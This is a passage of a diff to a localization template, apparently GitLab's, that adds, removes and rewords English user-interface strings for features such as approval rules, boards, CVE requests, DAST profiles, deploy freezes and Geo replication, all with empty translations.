msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
